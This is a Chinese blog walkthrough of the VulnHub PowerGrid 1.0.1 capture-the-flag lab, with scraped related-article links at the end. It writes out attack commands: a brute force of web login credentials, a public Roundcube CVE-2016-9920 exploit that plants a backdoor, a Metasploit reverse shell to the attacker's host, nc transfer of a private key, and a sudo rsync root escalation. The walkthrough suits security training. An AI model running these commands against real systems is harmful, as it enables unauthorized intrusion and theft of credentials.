​本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载。

难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/powergrid/PowerGrid-1.0.1.ova天翼云盘:https://cloud.189.cn/t/2UN7Ffiuqyym百度网盘:https://pan.baidu.com/s/10l8dshcdaLxWL7eGN92U4Q 提取码:r4zc官网简介:靶机会进行计时,即使关闭虚拟机也不会停止,超时后将销毁证据渗透目标:获取root权限,找到4个flag本机地址:192.168.110.27靶机地址:192.168.110.36 

信息收集

话不多说,直接上nmap看靶机IP。

nmap 192.168.110.0/24 -sP

本机是192.168.110.27,那靶机就是192.168.110.36。接着扫一下端口。

nmap -A -p- 192.168.110.36

没有打开22号端口可还行,第一次见到这么任性的靶机。没关系,80端口终归还是打开了的,看看网页。

网页端显示了一个计时器,文字说明提示这是一封勒索信,3个小时之内要交250亿欧元,这黑客可是真够黑的。不过,这个网页的最后透露了deez1、p48、all2这几个用户名,需要留意一下。

按照规矩,一般都会遍历一下网页的目录。

dirb http://192.168.110.36

什么也没有可还行,不过按照以前的经验(VulnHub CengBox2靶机渗透),有可能是默认字典不够大,使用dirbuster的字典再扫一次。

dirb http://192.168.110.36 /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -w

发现images目录和zmail页面。

images目录就是两张背景图片,没什么用,而访问zmail页面则弹出一个登录对话框,使用几个常见密码和用户名登录失败,尝试使用burp爆破。

对登录界面抓包后发现用户名密码采用了Base64编码,使用burp自带的解码器解码。

其实就是在用户名和密码之间插入了一个冒号。接下来使用最经典的rockyou密码字典爆破,用户名则选择deez1、p48、all2。

经过漫长的等待,终于发现有一个响应包的长度跟其他的不一样。

成功获取登录密码,登录后发现又是一个登录界面。

使用同样的用户名密码登录尝试,登录成功(简直多此一举)。登录后发现root发送过来了一封右键。

邮件中写道还有另一台服务器,下面的加密信息就是SSH的私钥,是用p48的gpg私钥加密的,可以用来登录那台服务器但没必要。呵呵,没必要?我会听你的?你个糟老头子坏得很。不过暂时还没有办法解密消息,先把加密消息保存下来。

由于在网页端可以写邮件,因此猜测能通过附件上传PHP木马,经过尝试后并不奏效,只好去查找roundcube的漏洞。

msfconsole search roundcube

痛苦,在Metasploit里找不到相关漏洞。不过不用灰心,说不定在网上能找到。

经过查找后发现小于1.2.2版本的roundcube存在代码执行漏洞,编码为CVE-2016-9920,GitHub链接为:https://github.com/t0kx/exploit-CVE-2016-9920。

git clone https://github.com/t0kx/exploit-CVE-2016-9920.git

漏洞利用

这个exp是用python写的,不过作者给的示例都不能使用,因为靶机上有两个登录界面,而正常来说,网站只需要登录一次就够了。另外,需要更改exp的发件人与收件人。

./exploit.py --host p48:electrico@192.168.110.36 --user p48 --pwd electrico --path /zmail --www_path "/var/www/html/zmail/"

攻击成功,现在只需要访问http://192.168.110.36/zmail/backdoor.php即可执行命令了。先看看/var/www/目录下都有些啥东西。

很好,发现了第一个flag文件,赶紧查看一下内容。

提示是pivote,并没有什么用。既然已经可以执行任意命令,那么就可以配合msf获取shell。

msfconsoleuse multi/script/web_deliveryset payload php/meterpreter_reverse_tcpset LHOST 192.168.110.27set target PHPrun

执行之后会显示一条以php开头的命令,复制到浏览器访问。

这时msf已经成功获取session了。

sessions -lsessions -i 1shell

很无奈,每次拿到的shell都很不好用,没有安全感。利用python将难用的shell改成bash。

whereis python

发现有python2.7和python3.7。

python3.7 -c 'import pty; pty.spawn("/bin/bash")'

成功获取了www-data的bash,接下来就要作点妖了,先看看家目录下都有哪些用户。

cd /homels

很好,有一个叫p48的用户,这个用户的网页端密码之前已经爆破出来了,尝试切换到p48。

完美,p48跟我一样,喜欢一个密码到处用,更惊喜的是p48家目录下有一个gpg私钥,这应该就是可以解密网页端加密消息的私钥了(翻译翻译,什么叫惊喜)。

不过奇怪的是,靶机上竟然没有gpg命令,必须拷贝到攻击主机上才能解密。

nc -lvvp 31337 < privkey.gpgnc 192.168.110.36 31337 > p48.gpg

接下来解密文件。

gpg --import p48.gpggpg --decrypt id_rsa.encoded > id_rsa

解密后还需要把id_rsa传回到靶机,同样使用的nc,这里就不赘述了。

现在问题来了,这个SSH私钥文件是要拿来连接谁的呢?邮件里root说的另一台服务器在哪呢?莫非这台靶机上还运行了虚拟机?查看一下IP看看有什么猫腻。

有一个叫docker0的网卡,这台靶机应该还运行着docker,所谓的另一台服务器应该就在容器里运行着。

扫一下172.17.0.0/24这个网段(网卡信息显示网段为172.17.0.0/16,不过172.17.0.0/24的范围更大,因此不会漏洞可能的IP),看看另一台靶机的端口是多少。由于靶机没有安装nmap,所以只能使用循环加ping的方法判断。

for i in {1..254} ; do ping -c 1 172.17.0.$i -W 1 &>/dev/null && echo 172.17.0.$i is alive || echo 192.168.110.$i is down ;done

还好IP比较靠前,一下子就扫出来了。接着使用SSH私钥登录。

chmod 600 id_rsassh -i id_rsa p48@172.17.0.2

登录后很容易就发现了第二个flag。

第二个flag提示p48的用户权限不高,很明显,这是提示要提权了。

权限提升

首先看看有什么命令是可以提权执行的。

sudo -l

rsync命令可以免密码以root用户权限运行,rsync命令可以理解成一个加强版的cp命令,既然可以使用root权限运行,那么就可以把/root/下的所有文件拷贝到/tmp目录下查看。

第三个flag已经出来了,这个flag提示pivoting backwards,难不成第四个flag在docker外?由于最开始扫描靶机端口时22号端口没有打开,这里又提示要往回找第四个flag,我们有理由怀疑靶机在docker0网卡上开放了SSH服务,往外连接试试。

实锤了,可以通过172.17.0.1连接到靶机。不过并不知道密码,p48用户家目录下的.ssh目录里也没有存放SSH私钥,这是一件很头疼的事。

经过查询,发现rsync命令不仅可以用来拷贝文件,还可以用来提权。

sudo -u root rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/nullwhoami

很好,已经成功提权到root,接下来查看/root/.ssh/目录下有没有SSH私钥。

cd /root/.sshlsssh -i id_rsa root@172.17.0.1

不出所料,成功登录到外面的靶机。接下来就是查找第四个flag了。

第四个flag就存放在/root/目录下,根据提示,这是最后一个flag了。

至此,对PowerGrid的渗透已经全部完成。

总结

这个靶机整体偏难,首先是网页端的爆破,一般的密码字典很难跑出来,而rockyou这个密码字典又很大,如果不耐心等待的话很难爆破出来。

其次是这台靶机多次用到了公私钥,如果对非对称加密和gpg工具不熟悉的话,可能就会无法进入下一关。

这台靶机还运行着docker,就相当于有两台靶机,这是PowerGrid比较新颖的地方。另外,3个小时的时间限制也为渗透增加了几分紧张刺激的气氛。

整体来说,这台靶机在形式上有一定的创新性,很值得下载下来亲自复现一下。

VulnHub PowerGrid 1.0.1靶机渗透的更多相关文章

  1. ch4inrulz: 1.0.1靶机渗透

    ch4inrulz: 1.0.1靶机渗透 扫描主机端口,还行啦四个开放的端口,8011和80端口都运行着web服务. 80端口下的robots.txt告诉我们什么都没有 在8011端口的apache服 ...

  2. VulnHub CengBox2靶机渗透

    ​本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...

  3. 25. CTF综合靶机渗透(17)

    靶机链接 https://www.vulnhub.com/entry/the-ether-evilscience,212 运行环境 本靶机提供了VMware的镜像,从Vulnhub下载之后解压,运行v ...

  4. 22. CTF综合靶机渗透(十五)

    靶机说明: Game of Thrones Hacking CTF This is a challenge-game to measure your hacking skills. Set in Ga ...

  5. EVM靶机渗透

    前言 靶机下载地址: https://download.vulnhub.com/norzhctf/Basilic.ova 通过渗透靶机来学习相关知识以便提高在真实环境的渗透能力 ==. 安装: 我是用 ...

  6. hacknos-player靶机渗透

    靶机下载地址https://www.vulnhub.com/entry/hacknos-player,459/ 网络配置 该靶机可能会存在无法自动分配IP的情况,所以无法扫描到的情况下需要手动配置获取 ...

  7. vulnhub-XXE靶机渗透记录

    准备工作 在vulnhub官网下载xxe靶机 导入虚拟机 开始进行渗透测试 信息收集 首先打开kali,设置成NAT模式 查看本机ip地址 利用端口扫描工具nmap进行探测扫描 nmap -sS 19 ...

  8. vulnhub-DC:4靶机渗透记录

    准备工作 在vulnhub官网下载DC:4靶机https://www.vulnhub.com/entry/dc-4,313/ 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:19 ...

  9. vulnhub-DC:7靶机渗透记录

    准备工作 在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 已经知道了靶 ...

随机推荐

  1. appnium(一)简介

    一.appium简介 1,appium是开源的移动端自动化测试框架: 2,appium可以测试原生的.混合的.以及移动端的web项目: 3,appium可以测试ios,android应用(当然了,还有 ...

  2. Codeforces Round #626 (Div. 2, based on Moscow Open Olympiad in Informatics)部分(A~E)题解

    (A) Even Subset Sum Problem 题解:因为n非常非常小,直接暴力枚举所有区间即可. #include<bits/stdc++.h> using namespace ...

  3. Shell 脚本 —— java 代码远程调用shell脚本重启 tomcat

    个人博客网:https://wushaopei.github.io/    (你想要这里多有) 1.创建maven 工程 ​ maven 依赖: <dependency> <grou ...

  4. Java实现 蓝桥杯VIP 算法训练 最大质因数(暴力)

    试题 算法训练 最大质因数 问题描述 给出N个数字,求出有最大的最大质因数的那个数 输入格式 第一行:一个整数N. 接下来的N行,每行一个整数A_i,表示给出的那N个数字. 输出格式 第一行:一个整数 ...

  5. Java实现 LeetCode 500 键盘行

    500. 键盘行 给定一个单词列表,只返回可以使用在键盘同一行的字母打印出来的单词.键盘如下图所示. 示例: 输入: ["Hello", "Alaska", & ...

  6. Java实现 LeetCode 25 K个一组翻转链表

    25. K 个一组翻转链表 给你一个链表,每 k 个节点一组进行翻转,请你返回翻转后的链表. k 是一个正整数,它的值小于或等于链表的长度. 如果节点总数不是 k 的整数倍,那么请将最后剩余的节点保持 ...

  7. Java实现 蓝桥杯 算法提高 快速排序

    试题 算法提高 快速排序 资源限制 时间限制:1.0s 内存限制:256.0MB 问题描述 用递归来实现快速排序(quick sort)算法.快速排序算法的基本思路是:假设要对一个数组a进行排序,且a ...

  8. java实现字符串比较

    标题:字符串比较 我们需要一个新的字符串比较函数compare(s1, s2). 对这个函数要求是: 1. 它返回一个整数,表示比较的结果. 2. 结果为正值,则前一个串大,为负值,后一个串大,否则, ...

  9. electron内使用vue-slider-component组件报“$attrs is readonly”错误

    解决办法 安装vue-no-ssr插件 https://www.npmjs.com/package/vue-no-ssr npm install vue-no-ssr --save-dev 代码 &l ...

  10. Php-webdriver 的安装与使用教程

    Php-webdriver 是 Facebook 开发的基于 PHP 语言实现的 Selenium WebDriver 客户端组件,可以用它来操作浏览器.常见的操作包括:自动化测试.采集数据等. 安装 ...